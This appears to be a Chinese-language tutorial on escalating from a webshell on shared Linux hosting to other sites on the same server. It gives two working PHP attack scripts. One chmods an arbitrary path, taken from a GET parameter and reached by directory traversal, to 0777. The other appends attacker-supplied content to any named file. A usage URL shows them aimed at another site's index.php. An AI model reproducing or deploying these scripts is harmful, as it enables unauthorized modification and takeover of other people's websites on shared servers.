当我们拥有了一个linux下的shell(服务器上多个网站)。
这个shell对所在站点的根目录有可写入权限,甚至能查看其他网站的目录。
那么,这样的主机设置肯定是不安全的。
有的时候,我们想对获得同服务器的其他站的权限,比如直接对其他站点的index.php进行修改,却发现没有权限。
我们可以尝试通过以下脚本来实现对其他站点的文件添加权限。
代码:
$path = stripslashes($_GET['path']);
$ok = chmod ($path , 0777);
if ($ok == true)
echo " CHMOD OK , Permission editable file or directory. Permission to write";
?>
保存为chmod.PHP
使用方法简单,访问
http://site/chmod.php?path=../../其他站点的目录/index.php
这里的index.PHP是要修改权限的文件。
另外一个exploit:
把下面的代码保存为exploit.PHP
代码:
@$filename = stripslashes($_POST['filename']);
@$mess = stripslashes($_POST['mess']);
$fp = @fopen("{$_POST['filename']}", 'a');
@fputs($fp,"$mess
");
@fclose($fp);
?>
-
上一篇:全面介绍linux 常用命令(一) - Linux操作系统:Ubu 下一篇:关于Linux操作系统“暴力破解”软件介绍 - Linux操